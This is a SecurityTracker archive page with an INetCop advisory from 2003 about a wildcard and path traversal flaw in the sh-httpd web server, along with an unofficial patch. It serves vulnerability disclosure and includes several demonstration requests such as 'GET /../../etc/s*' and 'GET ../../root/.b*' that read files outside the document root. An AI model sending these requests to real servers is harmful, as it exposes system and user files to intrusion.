Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
sh-httpd Discloses Files to Remote Users
|
|
SecurityTracker Alert ID: 1008015
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Oct 28 2003
|
Impact: Disclosure of system information, Disclosure of user information
|
Exploit Included: Yes
|
Advisory: INetCop Security
|
Version(s): 0.4, 0.3
|
Description: A vulnerability was reported in the 'sh-httpd' web server. A remote user can view files on the target system.
INetCop reported that a remote user can submit a request containing the '*' wildcard character to view files and directory contents
on the target system.
Some demonstration exploit requests are provided:
GET *
GET ../../../sh-httpd/p*
GET /../../etc/s*
GET
../../root/.b*
|
Impact: A remote user can view files on the system that are outside of the web document directory.
|
Solution: No vendor solution was available at the time of this entry.
An unofficial patch is provided in the Source message.
|
Vendor URL: lrp.steinkuehler.net/Packages/weblet.htm (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any)
|
Reported By: "dong-h0un U" <xploit@hackermail.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Mon, 27 Oct 2003 22:42:45 +0800
From: "dong-h0un U" <xploit@hackermail.com>
Subject: [VulnWatch] sh-httpd `wildcard character' vulnerability
|
========================================
INetCop Security Advisory #2003-0x82-019
========================================
* Title: sh-httpd `wildcard character' vulnerability
0x01. Description
About:
sh-httpd is a shell script-based Web server that supports GET and HEAD methods, and a CGI 1.1 interfa ce.
It's not real fast, and it's probably not real secure, but it is really small.
The Web server and it's configuration files are around 9,000 bytes total,
and that's with comments and pretty whitespace.
If you can run ash or bash, an inetd, and about 7 standard external commands on your system,
you can have a Web server with CGI support.
There's also a timeout counter that kills never-ending CGI programs, cleans up, and exits.
More detailed information is: http://lrp.steinkuehler.net/Packages/weblet.htm
Vulnerabilty happens '*' because don't filtering.
Through this character, can know existence of files to directory.
0x02. Vulnerable Packages
Vendor site: http://lrp.steinkuehler.net/Packages/weblet.htm
sh-httpd-0.4
-sh-httpd-0.4.tgz
+Unix
+Linux
+Other
sh-httpd-0.3
-sh-httpd-0.3.tgz
0x03. Exploit
This is very easy.
Only, as using '*', can read file of web directory freely or execute CGI.
For example, is as following.
GET *
GET ../../../sh-httpd/p*
GET /../../etc/s*
GET ../../root/.b*
You can read file path or contents, and if it is CGI, can execute. :-)
0x04. Patch
=== sh-httpd.patch ===
--- sh-httpd-0.4/sh-httpd Mon Oct 9 11:28:05 2000
+++ sh-httpd.patch Sat Jul 19 08:51:44 2003
@@ -31,7 +31,7 @@
bname() {
local IFS='/'
- set -- $1
+ set -- "$1"
eval rc="\$$#"
[ "$rc" = "" ] && eval rc="\$$(($# - 1))"
echo "$rc"
@@ -262,7 +262,7 @@
# Split URI into base and query string at ?
IFS='?'
- set -- $URI
+ set -- "$URI"
QUERY_STRING="$2"
URL="$1"
IFS=$OIFS
@@ -292,7 +292,7 @@
fi
DIR="`dname $URL`"
- FILE="`bname $URL`"
+ FILE="`bname "$URL"`"
# Check for existance of directory
if [ ! -d "$DOCROOT/$DIR" ]; then
=== eof ===
P.S: Sorry, for my poor english.
--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.
MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com
INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net & http://x82.inetcop.org
GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--
--
_______________________________________________
Get your free email from http://www.hackermail.com
Powered by Outblaze
|
|
Go to the Top of This SecurityTracker Archive Page
|